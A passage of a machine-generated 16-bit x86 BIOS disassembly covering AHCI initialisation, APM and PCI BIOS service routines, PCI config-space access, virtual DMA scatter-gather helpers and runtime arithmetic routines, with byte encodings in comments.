xor ch, ch ; 30 ed
mov bx, strict word 00001h ; bb 01 00
xor di, di ; 31 ff
jcxz 099f9h ; e3 06
sal bx, 1 ; d1 e3
rcl di, 1 ; d1 d7
loop 099f3h ; e2 fa
mov ax, strict word 0000ch ; b8 0c 00
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea dx, [si+004h] ; 8d 54 04
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
test dx, di ; 85 fa
jne short 09a1dh ; 75 04
test ax, bx ; 85 d8
je short 099c6h ; 74 a9
mov AL, strict byte 001h ; b0 01
jmp short 099c8h ; eb a7
xor ax, ax ; 31 c0
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
db 00bh, 005h, 004h, 003h, 002h, 001h, 000h, 02ah, 09bh, 008h, 09bh, 00eh, 09bh, 014h, 09bh, 01ah
db 09bh, 020h, 09bh, 026h, 09bh, 02ah, 09bh
_ahci_init: ; 0xf9a44 LB 0x139
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00012h ; 83 ec 12
mov ax, 00601h ; b8 01 06
mov dx, strict word 00001h ; ba 01 00
call 09f9ch ; e8 47 05
mov dx, ax ; 89 c2
cmp ax, strict word 0ffffh ; 3d ff ff
je short 09aa5h ; 74 49
mov al, ah ; 88 e0
mov byte [bp-008h], ah ; 88 66 f8
mov byte [bp-00ah], dl ; 88 56 f6
xor dh, ah ; 30 e6
xor ah, ah ; 30 e4
mov bx, strict word 00034h ; bb 34 00
call 09fc7h ; e8 59 05
mov cl, al ; 88 c1
test cl, cl ; 84 c9
je short 09aa8h ; 74 34
mov bl, cl ; 88 cb
xor bh, bh ; 30 ff
mov al, byte [bp-00ah] ; 8a 46 f6
mov byte [bp-00ch], al ; 88 46 f4
mov byte [bp-00bh], bh ; 88 7e f5
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [bp-012h], al ; 88 46 ee
mov byte [bp-011h], bh ; 88 7e ef
mov dx, word [bp-00ch] ; 8b 56 f4
mov ax, word [bp-012h] ; 8b 46 ee
call 09fc7h ; e8 34 05
cmp AL, strict byte 012h ; 3c 12
je short 09aa8h ; 74 11
mov bl, cl ; 88 cb
db 0feh, 0c3h
; inc bl ; fe c3
xor bh, bh ; 30 ff
mov dx, word [bp-00ch] ; 8b 56 f4
mov ax, word [bp-012h] ; 8b 46 ee
jmp short 09a6bh ; eb c6
jmp near 09b76h ; e9 ce 00
test cl, cl ; 84 c9
je short 09aa5h ; 74 f9
add cl, 002h ; 80 c1 02
mov bl, cl ; 88 cb
xor bh, bh ; 30 ff
mov al, byte [bp-00ah] ; 8a 46 f6
mov byte [bp-00eh], al ; 88 46 f2
mov byte [bp-00dh], bh ; 88 7e f3
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [bp-014h], al ; 88 46 ec
mov byte [bp-013h], bh ; 88 7e ed
mov dx, word [bp-00eh] ; 8b 56 f2
mov ax, word [bp-014h] ; 8b 46 ec
call 09fc7h ; e8 f9 04
cmp AL, strict byte 010h ; 3c 10
jne short 09aa5h ; 75 d3
mov byte [bp-006h], 000h ; c6 46 fa 00
mov bl, cl ; 88 cb
add bl, 002h ; 80 c3 02
xor bh, bh ; 30 ff
mov dx, word [bp-00eh] ; 8b 56 f2
mov ax, word [bp-014h] ; 8b 46 ec
call 09feeh ; e8 08 05
mov dx, ax ; 89 c2
and ax, strict word 0000fh ; 25 0f 00
sub ax, strict word 00004h ; 2d 04 00
cmp ax, strict word 0000bh ; 3d 0b 00
jnbe short 09b2ah ; 77 37
push CS ; 0e
pop ES ; 07
mov cx, strict word 00008h ; b9 08 00
mov di, 09a2dh ; bf 2d 9a
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov ax, word [cs:di-065cch] ; 2e 8b 85 34 9a
jmp ax ; ff e0
mov byte [bp-006h], 010h ; c6 46 fa 10
jmp short 09b2ah ; eb 1c
mov byte [bp-006h], 014h ; c6 46 fa 14
jmp short 09b2ah ; eb 16
mov byte [bp-006h], 018h ; c6 46 fa 18
jmp short 09b2ah ; eb 10
mov byte [bp-006h], 01ch ; c6 46 fa 1c
jmp short 09b2ah ; eb 0a
mov byte [bp-006h], 020h ; c6 46 fa 20
jmp short 09b2ah ; eb 04
mov byte [bp-006h], 024h ; c6 46 fa 24
mov CL, strict byte 004h ; b1 04
mov si, dx ; 89 d6
shr si, CL ; d3 ee
sal si, 1 ; d1 e6
sal si, 1 ; d1 e6
mov al, byte [bp-006h] ; 8a 46 fa
test al, al ; 84 c0
je short 09b76h ; 74 3b
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
mov al, byte [bp-00ah] ; 8a 46 f6
mov byte [bp-010h], al ; 88 46 f0
mov byte [bp-00fh], bh ; 88 7e f1
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [bp-016h], al ; 88 46 ea
mov byte [bp-015h], bh ; 88 7e eb
mov dx, word [bp-010h] ; 8b 56 f0
mov ax, word [bp-016h] ; 8b 46 ea
call 0a013h ; e8 b9 04
test AL, strict byte 001h ; a8 01
je short 09b76h ; 74 18
and AL, strict byte 0f0h ; 24 f0
add si, ax ; 01 c6
mov cx, strict word 00007h ; b9 07 00
mov bx, strict word 00004h ; bb 04 00
mov dx, word [bp-010h] ; 8b 56 f0
mov ax, word [bp-016h] ; 8b 46 ea
call 0a052h ; e8 e1 04
mov ax, si ; 89 f0
call 098d6h ; e8 60 fd
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
apm_out_str_: ; 0xf9b7d LB 0x39
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
mov bx, ax ; 89 c3
cmp byte [bx], 000h ; 80 3f 00
je short 09b92h ; 74 0a
mov al, byte [bx] ; 8a 07
out DX, AL ; ee
inc bx ; 43
mov al, byte [bx] ; 8a 07
db 00ah, 0c0h
; or al, al ; 0a c0
jne short 09b8ah ; 75 f8
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
xlatb ; d7
wait ; 9b
bound bx, [si-06417h] ; 62 9c e9 9b
add AL, strict byte 09ch ; 04 9c
bound bx, [si-063d1h] ; 62 9c 2f 9c
bound bx, [si-06398h] ; 62 9c 68 9c
xor AL, strict byte 09ch ; 34 9c
xor AL, strict byte 09ch ; 34 9c
xor AL, strict byte 09ch ; 34 9c
cmpsw ; a7
pushfw ; 9c
xor AL, strict byte 09ch ; 34 9c
xor AL, strict byte 09ch ; 34 9c
db 0a0h
pushfw ; 9c
_apm_function: ; 0xf9bb6 LB 0xf6
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
and byte [bp+018h], 0feh ; 80 66 18 fe
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
cmp ax, strict word 0000eh ; 3d 0e 00
jnbe short 09c34h ; 77 6c
mov bx, ax ; 89 c3
sal bx, 1 ; d1 e3
mov dx, word [bp+018h] ; 8b 56 18
or dl, 001h ; 80 ca 01
jmp word [cs:bx-06468h] ; 2e ff a7 98 9b
mov word [bp+012h], 00102h ; c7 46 12 02 01
mov word [bp+00ch], 0504dh ; c7 46 0c 4d 50
mov word [bp+010h], strict word 00003h ; c7 46 10 03 00
jmp near 09c62h ; e9 79 00
mov word [bp+012h], 0f000h ; c7 46 12 00 f0
mov word [bp+00ch], 0a244h ; c7 46 0c 44 a2
mov word [bp+010h], 0f000h ; c7 46 10 00 f0
mov ax, strict word 0fff0h ; b8 f0 ff
mov word [bp+006h], ax ; 89 46 06
mov word [bp+004h], ax ; 89 46 04
jmp near 09c62h ; e9 5e 00
mov word [bp+012h], 0f000h ; c7 46 12 00 f0
mov word [bp+00ch], 0da40h ; c7 46 0c 40 da
mov ax, 0f000h ; b8 00 f0
mov word [bp+010h], ax ; 89 46 10
mov word [bp+00eh], ax ; 89 46 0e
mov ax, strict word 0fff0h ; b8 f0 ff
mov word [bp+006h], ax ; 89 46 06
mov word [bp+004h], ax ; 89 46 04
xor bx, bx ; 31 db
sal ebx, 010h ; 66 c1 e3 10
mov si, ax ; 89 c6
sal esi, 010h ; 66 c1 e6 10
jmp near 09c62h ; e9 33 00
sti ; fb
hlt ; f4
jmp near 09c62h ; e9 2e 00
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 f4 7c
push word [bp+00ch] ; ff 76 0c
push word [bp+012h] ; ff 76 12
mov ax, 00d29h ; b8 29 0d
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 26 7d
add sp, strict byte 00008h ; 83 c4 08
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
or ah, 00ch ; 80 cc 0c
mov word [bp+012h], ax ; 89 46 12
or byte [bp+018h], 001h ; 80 4e 18 01
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
cmp word [bp+010h], strict byte 00003h ; 83 7e 10 03
je short 09c8dh ; 74 1f
cmp word [bp+010h], strict byte 00002h ; 83 7e 10 02
je short 09c85h ; 74 11
cmp word [bp+010h], strict byte 00001h ; 83 7e 10 01
jne short 09c95h ; 75 1b
mov dx, 0040fh ; ba 0f 04
mov ax, 00d10h ; b8 10 0d
call 09b7dh ; e8 fa fe
jmp short 09c62h ; eb dd
mov dx, 0040fh ; ba 0f 04
mov ax, 00d18h ; b8 18 0d
jmp short 09c80h ; eb f3
mov dx, 0040fh ; ba 0f 04
mov ax, 00d20h ; b8 20 0d
jmp short 09c80h ; eb eb
or ah, 00ah ; 80 cc 0a
mov word [bp+012h], ax ; 89 46 12
mov word [bp+018h], dx ; 89 56 18
jmp short 09c62h ; eb c2
mov word [bp+012h], 00102h ; c7 46 12 02 01
jmp short 09c62h ; eb bb
or ah, 080h ; 80 cc 80
jmp short 09c98h ; eb ec
pci16_select_reg_: ; 0xf9cac LB 0x24
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
and dl, 0fch ; 80 e2 fc
mov bx, dx ; 89 d3
mov dx, 00cf8h ; ba f8 0c
movzx eax, ax ; 66 0f b7 c0
sal eax, 008h ; 66 c1 e0 08
or eax, strict dword 080000000h ; 66 0d 00 00 00 80
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, eax ; 66 ef
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
pci16_find_device_: ; 0xf9cd0 LB 0xf7
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0000ch ; 83 ec 0c
push ax ; 50
push dx ; 52
mov si, bx ; 89 de
mov di, cx ; 89 cf
test cx, cx ; 85 c9
xor bx, bx ; 31 db
mov byte [bp-006h], 000h ; c6 46 fa 00
test bl, 007h ; f6 c3 07
jne short 09d18h ; 75 2d
mov dx, strict word 0000eh ; ba 0e 00
mov ax, bx ; 89 d8
call 09cach ; e8 b9 ff
mov dx, 00cfeh ; ba fe 0c
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov byte [bp-008h], al ; 88 46 f8
cmp AL, strict byte 0ffh ; 3c ff
jne short 09d06h ; 75 06
add bx, strict byte 00008h ; 83 c3 08
jmp near 09d98h ; e9 92 00
test byte [bp-008h], 080h ; f6 46 f8 80
je short 09d13h ; 74 07
mov word [bp-00eh], strict word 00001h ; c7 46 f2 01 00
jmp short 09d18h ; eb 05
mov word [bp-00eh], strict word 00008h ; c7 46 f2 08 00
mov al, byte [bp-008h] ; 8a 46 f8
and AL, strict byte 007h ; 24 07
cmp AL, strict byte 001h ; 3c 01
jne short 09d3fh ; 75 1e
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
test ax, ax ; 85 c0
jne short 09d3fh ; 75 16
mov dx, strict word 0001ah ; ba 1a 00
mov ax, bx ; 89 d8
call 09cach ; e8 7b ff
mov dx, 00cfeh ; ba fe 0c
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp al, byte [bp-006h] ; 3a 46 fa
jbe short 09d3fh ; 76 03
mov byte [bp-006h], al ; 88 46 fa
test di, di ; 85 ff
je short 09d48h ; 74 05
mov dx, strict word 00008h ; ba 08 00
jmp short 09d4ah ; eb 02
xor dx, dx ; 31 d2
mov ax, bx ; 89 d8
call 09cach ; e8 5d ff
mov dx, 00cfch ; ba fc 0c
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
mov word [bp-00ah], ax ; 89 46 f6
mov word [bp-010h], dx ; 89 56 f0
mov word [bp-00ch], strict word 00000h ; c7 46 f4 00 00
test di, di ; 85 ff
je short 09d79h ; 74 0f
mov cx, strict word 00008h ; b9 08 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 09d6dh ; e2 fa
mov word [bp-00ah], ax ; 89 46 f6
mov word [bp-010h], dx ; 89 56 f0
mov ax, word [bp-010h] ; 8b 46 f0
cmp ax, word [bp-014h] ; 3b 46 ec
jne short 09d89h ; 75 08
mov ax, word [bp-00ah] ; 8b 46 f6
cmp ax, word [bp-012h] ; 3b 46 ee
je short 09d8fh ; 74 06
cmp word [bp-00ch], strict byte 00000h ; 83 7e f4 00
je short 09d95h ; 74 06
dec si ; 4e
cmp si, strict byte 0ffffh ; 83 fe ff
je short 09da8h ; 74 13
add bx, word [bp-00eh] ; 03 5e f2
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov dl, byte [bp-006h] ; 8a 56 fa
xor dh, dh ; 30 f6
cmp ax, dx ; 39 d0
jnbe short 09da8h ; 77 03
jmp near 09ce6h ; e9 3e ff
cmp si, strict byte 0ffffh ; 83 fe ff
jne short 09db1h ; 75 04
mov ax, bx ; 89 d8
jmp short 09db4h ; eb 03
mov ax, strict word 0ffffh ; b8 ff ff
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
test AL, strict byte 09eh ; a8 9e
rcr word [bp-0612dh], 0e7h ; c1 9e d3 9e e7
sahf ; 9e
stc ; f9
sahf ; 9e
or AL, strict byte 09fh ; 0c 9f
_pci16_function: ; 0xf9dc7 LB 0x1d5
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
and word [bp+020h], 000ffh ; 81 66 20 ff 00
and word [bp+02ch], strict byte 0fffeh ; 83 66 2c fe
mov bx, word [bp+020h] ; 8b 5e 20
xor bh, bh ; 30 ff
mov ax, word [bp+020h] ; 8b 46 20
xor ah, ah ; 30 e4
cmp bx, strict byte 00003h ; 83 fb 03
jc short 09df9h ; 72 13
jbe short 09e4ch ; 76 64
cmp bx, strict byte 0000eh ; 83 fb 0e
je short 09e54h ; 74 67
cmp bx, strict byte 00008h ; 83 fb 08
jc short 09e03h ; 72 11
cmp bx, strict byte 0000dh ; 83 fb 0d
jbe short 09e57h ; 76 60
jmp short 09e03h ; eb 0a
cmp bx, strict byte 00002h ; 83 fb 02
je short 09e22h ; 74 24
cmp bx, strict byte 00001h ; 83 fb 01
je short 09e06h ; 74 03
jmp near 09f65h ; e9 5f 01
mov word [bp+020h], strict word 00001h ; c7 46 20 01 00
mov word [bp+014h], 00210h ; c7 46 14 10 02
mov word [bp+01ch], strict word 00000h ; c7 46 1c 00 00
mov word [bp+018h], 04350h ; c7 46 18 50 43
mov word [bp+01ah], 02049h ; c7 46 1a 49 20
jmp near 09f95h ; e9 73 01
cmp word [bp+018h], strict byte 0ffffh ; 83 7e 18 ff
jne short 09e2eh ; 75 06
or ah, 083h ; 80 cc 83
jmp near 09f8eh ; e9 60 01
mov bx, word [bp+008h] ; 8b 5e 08
mov dx, word [bp+01ch] ; 8b 56 1c
mov ax, word [bp+018h] ; 8b 46 18
xor cx, cx ; 31 c9
call 09cd0h ; e8 94 fe
cmp ax, strict word 0ffffh ; 3d ff ff
jne short 09e4eh ; 75 0d
mov ax, word [bp+020h] ; 8b 46 20
xor ah, ah ; 30 e4
or ah, 086h ; 80 cc 86
jmp near 09f8eh ; e9 42 01
jmp short 09e59h ; eb 0b
mov word [bp+014h], ax ; 89 46 14
jmp near 09f95h ; e9 41 01
jmp near 09f20h ; e9 c9 00
jmp short 09e7eh ; eb 25
mov bx, word [bp+008h] ; 8b 5e 08
mov ax, word [bp+01ch] ; 8b 46 1c
mov dx, word [bp+01eh] ; 8b 56 1e
mov cx, strict word 00001h ; b9 01 00
call 09cd0h ; e8 68 fe
cmp ax, strict word 0ffffh ; 3d ff ff
jne short 09e78h ; 75 0b
mov ax, word [bp+020h] ; 8b 46 20
xor ah, ah ; 30 e4
or ah, 086h ; 80 cc 86
jmp near 09f8eh ; e9 16 01
mov word [bp+014h], ax ; 89 46 14
jmp near 09f95h ; e9 17 01
cmp word [bp+004h], 00100h ; 81 7e 04 00 01
jc short 09e8bh ; 72 06
or ah, 087h ; 80 cc 87
jmp near 09f8eh ; e9 03 01
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+014h] ; 8b 46 14
call 09cach ; e8 18 fe
mov bx, word [bp+020h] ; 8b 5e 20
xor bh, bh ; 30 ff
sub bx, strict byte 00008h ; 83 eb 08
cmp bx, strict byte 00005h ; 83 fb 05
jnbe short 09f09h ; 77 68
sal bx, 1 ; d1 e3
jmp word [cs:bx-06245h] ; 2e ff a7 bb 9d
mov bx, word [bp+01ch] ; 8b 5e 1c
xor bl, bl ; 30 db
mov dx, word [bp+004h] ; 8b 56 04
and dx, strict byte 00003h ; 83 e2 03
add dx, 00cfch ; 81 c2 fc 0c
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
or bx, ax ; 09 c3
mov word [bp+01ch], bx ; 89 5e 1c
jmp short 09f09h ; eb 48
mov dx, word [bp+004h] ; 8b 56 04
xor dh, dh ; 30 f6
and dl, 002h ; 80 e2 02
add dx, 00cfch ; 81 c2 fc 0c
in ax, DX ; ed
mov word [bp+01ch], ax ; 89 46 1c
jmp short 09f09h ; eb 36
mov dx, 00cfch ; ba fc 0c
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
mov word [bp+01ch], ax ; 89 46 1c
mov word [bp+01eh], dx ; 89 56 1e
jmp short 09f09h ; eb 22
mov ax, word [bp+01ch] ; 8b 46 1c
mov dx, word [bp+004h] ; 8b 56 04
xor dh, dh ; 30 f6
and dl, 003h ; 80 e2 03
add dx, 00cfch ; 81 c2 fc 0c
out DX, AL ; ee
jmp short 09f09h ; eb 10
mov ax, word [bp+01ch] ; 8b 46 1c
mov dx, word [bp+004h] ; 8b 56 04
xor dh, dh ; 30 f6
and dl, 002h ; 80 e2 02
add dx, 00cfch ; 81 c2 fc 0c
out DX, ax ; ef
jmp near 09f95h ; e9 89 00
mov ax, word [bp+01ch] ; 8b 46 1c
mov cx, word [bp+01eh] ; 8b 4e 1e
mov dx, 00cfch ; ba fc 0c
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
jmp short 09f95h ; eb 75
mov bx, word [bp+004h] ; 8b 5e 04
mov es, [bp+026h] ; 8e 46 26
mov word [bp-008h], bx ; 89 5e f8
mov [bp-006h], es ; 8c 46 fa
mov cx, word [0f380h] ; 8b 0e 80 f3
cmp cx, word [es:bx] ; 26 3b 0f
jbe short 09f46h ; 76 11
mov ax, word [bp+020h] ; 8b 46 20
xor ah, ah ; 30 e4
or ah, 089h ; 80 cc 89
mov word [bp+020h], ax ; 89 46 20
or word [bp+02ch], strict byte 00001h ; 83 4e 2c 01
jmp short 09f5ah ; eb 14
les di, [es:bx+002h] ; 26 c4 7f 02
mov si, 0f1a0h ; be a0 f1
mov dx, ds ; 8c da
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
mov word [bp+014h], 00a00h ; c7 46 14 00 0a
mov ax, word [0f380h] ; a1 80 f3
les bx, [bp-008h] ; c4 5e f8
mov word [es:bx], ax ; 26 89 07
jmp short 09f95h ; eb 30
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 c3 79
mov ax, word [bp+014h] ; 8b 46 14
push ax ; 50
mov ax, word [bp+020h] ; 8b 46 20
push ax ; 50
mov ax, 00d5ch ; b8 5c 0d
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 f3 79
add sp, strict byte 00008h ; 83 c4 08
mov ax, word [bp+020h] ; 8b 46 20
xor ah, ah ; 30 e4
or ah, 081h ; 80 cc 81
mov word [bp+020h], ax ; 89 46 20
or word [bp+02ch], strict byte 00001h ; 83 4e 2c 01
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
pci_find_classcode_: ; 0xf9f9c LB 0x8
push bp ; 55
mov bp, sp ; 89 e5
mov ax, strict word 0ffffh ; b8 ff ff
pop bp ; 5d
retn ; c3
pci_find_device_: ; 0xf9fa4 LB 0x23
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
mov cx, dx ; 89 d1
xor si, si ; 31 f6
mov dx, ax ; 89 c2
mov ax, 0b102h ; b8 02 b1
int 01ah ; cd 1a
cmp ah, 000h ; 80 fc 00
je short 09fbdh ; 74 03
mov bx, strict word 0ffffh ; bb ff ff
mov ax, bx ; 89 d8
lea sp, [bp-006h] ; 8d 66 fa
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
pci_read_config_byte_: ; 0xf9fc7 LB 0x27
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push di ; 57
mov dh, al ; 88 c6
mov bh, dl ; 88 d7
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
xor dl, dl ; 30 d2
mov bl, bh ; 88 fb
mov bh, dh ; 88 f7
mov di, ax ; 89 c7
mov ax, 0b108h ; b8 08 b1
int 01ah ; cd 1a
mov al, cl ; 88 c8
xor ah, ah ; 30 e4
xor dh, dh ; 30 f6
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop cx ; 59
pop bp ; 5d
retn ; c3
pci_read_config_word_: ; 0xf9fee LB 0x25
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push di ; 57
mov dh, al ; 88 c6
mov cl, dl ; 88 d1
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov bh, dh ; 88 f7
xor dh, dh ; 30 f6
mov bl, dl ; 88 d3
mov di, ax ; 89 c7
mov ax, 0b109h ; b8 09 b1
int 01ah ; cd 1a
mov ax, cx ; 89 c8
xor dl, dl ; 30 d2
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop cx ; 59
pop bp ; 5d
retn ; c3
pci_read_config_dword_: ; 0xfa013 LB 0x3f
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push di ; 57
push ax ; 50
mov dh, al ; 88 c6
mov byte [bp-006h], bl ; 88 5e fa
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov di, ax ; 89 c7
mov bx, dx ; 89 d3
mov ax, 0b109h ; b8 09 b1
int 01ah ; cd 1a
test cx, cx ; 85 c9
jne short 0a043h ; 75 14
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov di, ax ; 89 c7
inc di ; 47
inc di ; 47
mov bx, dx ; 89 d3
mov ax, 0b109h ; b8 09 b1
int 01ah ; cd 1a
test cx, cx ; 85 c9
je short 0a048h ; 74 05
mov ax, strict word 00001h ; b8 01 00
jmp short 0a04ah ; eb 02
xor ax, ax ; 31 c0
cwd ; 99
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop cx ; 59
pop bp ; 5d
retn ; c3
pci_write_config_word_: ; 0xfa052 LB 0x1e
push bp ; 55
mov bp, sp ; 89 e5
push di ; 57
push ax ; 50
mov byte [bp-004h], al ; 88 46 fc
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov di, ax ; 89 c7
mov bh, byte [bp-004h] ; 8a 7e fc
mov bl, dl ; 88 d3
mov ax, 0b10ch ; b8 0c b1
int 01ah ; cd 1a
lea sp, [bp-002h] ; 8d 66 fe
pop di ; 5f
pop bp ; 5d
retn ; c3
vds_is_present_: ; 0xfa070 LB 0x1d
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
mov bx, strict word 0007bh ; bb 7b 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
test byte [es:bx], 020h ; 26 f6 07 20
je short 0a088h ; 74 06
mov ax, strict word 00001h ; b8 01 00
pop bp ; 5d
pop bx ; 5b
retn ; c3
xor ax, ax ; 31 c0
pop bp ; 5d
pop bx ; 5b
retn ; c3
vds_real_to_lin_: ; 0xfa08d LB 0x1e
push bx ; 53
push cx ; 51
push bp ; 55
mov bp, sp ; 89 e5
mov bx, ax ; 89 c3
mov ax, dx ; 89 d0
xor dx, dx ; 31 d2
mov cx, strict word 00004h ; b9 04 00
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 0a09bh ; e2 fa
xor cx, cx ; 31 c9
add ax, bx ; 01 d8
adc dx, cx ; 11 ca
pop bp ; 5d
pop cx ; 59
pop bx ; 5b
retn ; c3
vds_build_sg_list_: ; 0xfa0ab LB 0x77
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
mov di, ax ; 89 c7
mov si, dx ; 89 d6
mov ax, bx ; 89 d8
mov dx, cx ; 89 ca
mov bx, word [bp+004h] ; 8b 5e 04
mov es, si ; 8e c6
mov word [es:di], bx ; 26 89 1d
mov bx, word [bp+006h] ; 8b 5e 06
mov word [es:di+002h], bx ; 26 89 5d 02
call 0a08dh ; e8 c3 ff
mov es, si ; 8e c6
mov word [es:di+004h], ax ; 26 89 45 04
mov word [es:di+006h], dx ; 26 89 55 06
mov word [es:di+008h], strict word 00000h ; 26 c7 45 08 00 00
call 0a070h ; e8 93 ff
test ax, ax ; 85 c0
je short 0a0f2h ; 74 11
mov es, si ; 8e c6
mov ax, 08105h ; b8 05 81
mov dx, strict word 00000h ; ba 00 00
int 04bh ; cd 4b
jc short 0a0efh ; 72 02
db 032h, 0c0h
; xor al, al ; 32 c0
cbw ; 98
jmp short 0a119h ; eb 27
mov es, si ; 8e c6
mov word [es:di+00eh], strict word 00001h ; 26 c7 45 0e 01 00
mov dx, word [es:di+004h] ; 26 8b 55 04
mov ax, word [es:di+006h] ; 26 8b 45 06
mov word [es:di+010h], dx ; 26 89 55 10
mov word [es:di+012h], ax ; 26 89 45 12
mov ax, word [bp+004h] ; 8b 46 04
mov word [es:di+014h], ax ; 26 89 45 14
mov ax, bx ; 89 d8
mov word [es:di+016h], bx ; 26 89 5d 16
xor ax, bx ; 31 d8
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
vds_free_sg_list_: ; 0xfa122 LB 0x2e
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push di ; 57
mov bx, ax ; 89 c3
call 0a070h ; e8 44 ff
test ax, ax ; 85 c0
je short 0a141h ; 74 11
mov di, bx ; 89 df
mov es, dx ; 8e c2
mov ax, 08106h ; b8 06 81
mov dx, strict word 00000h ; ba 00 00
int 04bh ; cd 4b
jc short 0a140h ; 72 02
db 032h, 0c0h
; xor al, al ; 32 c0
cbw ; 98
mov es, dx ; 8e c2
mov word [es:bx+00eh], strict word 00000h ; 26 c7 47 0e 00 00
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop bx ; 5b
pop bp ; 5d
retn ; c3
__U4M: ; 0xfa150 LB 0x20
pushfw ; 9c
push si ; 56
push di ; 57
push ax ; 50
db 08bh, 0fah
; mov di, dx ; 8b fa
mul bx ; f7 e3
db 08bh, 0f2h
; mov si, dx ; 8b f2
xchg di, ax ; 97
mul bx ; f7 e3
db 003h, 0f0h
; add si, ax ; 03 f0
pop ax ; 58
mul cx ; f7 e1
db 003h, 0f0h
; add si, ax ; 03 f0
db 08bh, 0d6h
; mov dx, si ; 8b d6
db 08bh, 0c7h
; mov ax, di ; 8b c7
pop di ; 5f
pop si ; 5e
popfw ; 9d
retn ; c3
times 0x4 db 0
__U4D: ; 0xfa170 LB 0x30
pushfw ; 9c
push DS ; 1e
push ES ; 06
push bp ; 55
sub sp, strict byte 00004h ; 83 ec 04
db 08bh, 0ech
; mov bp, sp ; 8b ec
push SS ; 16
push bp ; 55
add bp, strict byte 00004h ; 83 c5 04
push cx ; 51
push bx ; 53
push dx ; 52
push ax ; 50
call 0a255h ; e8 d0 00
mov cx, word [bp-002h] ; 8b 4e fe
mov bx, word [bp-004h] ; 8b 5e fc
db 08bh, 0e5h
; mov sp, bp ; 8b e5
pop bp ; 5d
pop ES ; 07
pop DS ; 1f
popfw ; 9d
retn ; c3
times 0xe db 0
__U8RS: ; 0xfa1a0 LB 0x10
test si, si ; 85 f6
je short 0a1afh ; 74 0b
shr ax, 1 ; d1 e8
rcr bx, 1 ; d1 db
rcr cx, 1 ; d1 d9
rcr dx, 1 ; d1 da
